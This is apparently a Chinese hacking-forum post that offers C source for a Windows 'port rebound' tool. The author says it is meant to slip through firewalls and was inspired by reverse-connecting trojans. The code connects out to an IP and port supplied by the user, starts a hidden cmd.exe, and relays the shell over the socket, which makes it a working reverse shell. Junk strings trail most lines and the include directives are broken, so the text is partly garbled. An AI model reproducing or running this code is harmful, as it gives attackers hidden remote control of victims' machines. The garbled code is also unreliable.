Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Ly`FU)  
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/* ============================== ZgL]ex  
Rebound port in Windows NT w(R+p/RF  
By wind,2006/7 ag"Nf-o/Y  
===============================*/ $WZHkV  
#include O|0}m  
#include Xa&0j&AH  
604^~6  
#pragma comment(lib,"wsock32.lib") 78FK{Cr  
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void OutputShell(); n,%/cUl  
SOCKET sClient; jg=}l1M"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UJrN+RtL  
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void main(int argc,char **argv) #:}mi;{  
{ (Z at|R.F  
WSADATA stWsaData; hE}y/A[  
int nRet; 9I*`~il>{  
SOCKADDR_IN stSaiClient,stSaiServer; `'/1Ij+  
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if(argc != 3) 5t[7taLX\  
{ ^ &VN=Y6z  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0tP{
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return; @z7$1pl}  
} .jbT+hhM  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Z}$1~uyw  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2)jf~!o)Z  
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stSaiClient.sin_family = AF_INET; (Ei} :6,}  
stSaiClient.sin_port = htons(0); MD=!
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +We=- e7  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M0"}>`1lJ  
{ Xa/]} B  
printf("Bind Socket Failed!\n"); 6YYDp&nqEj  
return; S+//g+e|f  
} #l-/!j  
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stSaiServer.sin_family = AF_INET; vK8!V7o~h%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z]R)Bh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'V(9ein^Q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [fr!J?/@  
{ ny[\yj4F  
printf("Connect Error!"); wlfq$h p  
return; )TyI~5>;  
} |FJc'&)J"  
OutputShell(); !jyy`q=  
} YfU6mQ  
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void OutputShell() R'p- 4  
{ P(Q}r7F~(  
char szBuff[1024]; 3"iJ/Hc}9  
SECURITY_ATTRIBUTES stSecurityAttributes; o.KE=zp&z  
OSVERSIONINFO stOsversionInfo; m[6c{$A/w  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tf?"AY4  
STARTUPINFO stStartupInfo; K8|>"c~  
char *szShell; CeW}zkcT  
PROCESS_INFORMATION stProcessInformation; l08JL  
unsigned long lBytesRead; BMovl4*5  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _gI1@uQw  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H0Ck%5
  
stSecurityAttributes.lpSecurityDescriptor = 0; ^ lM.lS>)  
stSecurityAttributes.bInheritHandle = TRUE; wb/@g=`d  

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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wGAeOD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +pJ~<ug]  
q OX=M  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s.jcD  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m0+'BC{$u  
stStartupInfo.wShowWindow = SW_HIDE; Bz*6M  
stStartupInfo.hStdInput = hReadPipe; T{mIkp<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Cw]bhaG g  
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GetVersionEx(&stOsversionInfo); ^<QF*!  
spv'r!*\ed  
switch(stOsversionInfo.dwPlatformId) +]jJ:V  
{ lehuJgz'OO  
case 1: $BWA=2$  
szShell = "command.com"; fd*<m8  
break; ,S\AUUt%  
default: :tcqb2p  
szShell = "cmd.exe"; ({kOgOeC  
break; {^*D5  
} OA{PKC  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p)w{}@%r  
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send(sClient,szMsg,77,0); y`p(}X`>  
while(1) &U0Y#11Cx  
{ 5qQ\H}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Gjo&~*;  
if(lBytesRead) nj5Hls  
{ ,NoWAmv  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); iE=:}"pI"  
send(sClient,szBuff,lBytesRead,0); NM&R\GI  
} &xMQ  
else  o C#W  
{ W#lt_2!j  
lBytesRead=recv(sClient,szBuff,1024,0); fW8whN  
if(lBytesRead<=0) break; rEG!A87Zz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Eaw
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} PHQ99&F1  
} 8I,/ysT:  
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return; j`ybzG^  
}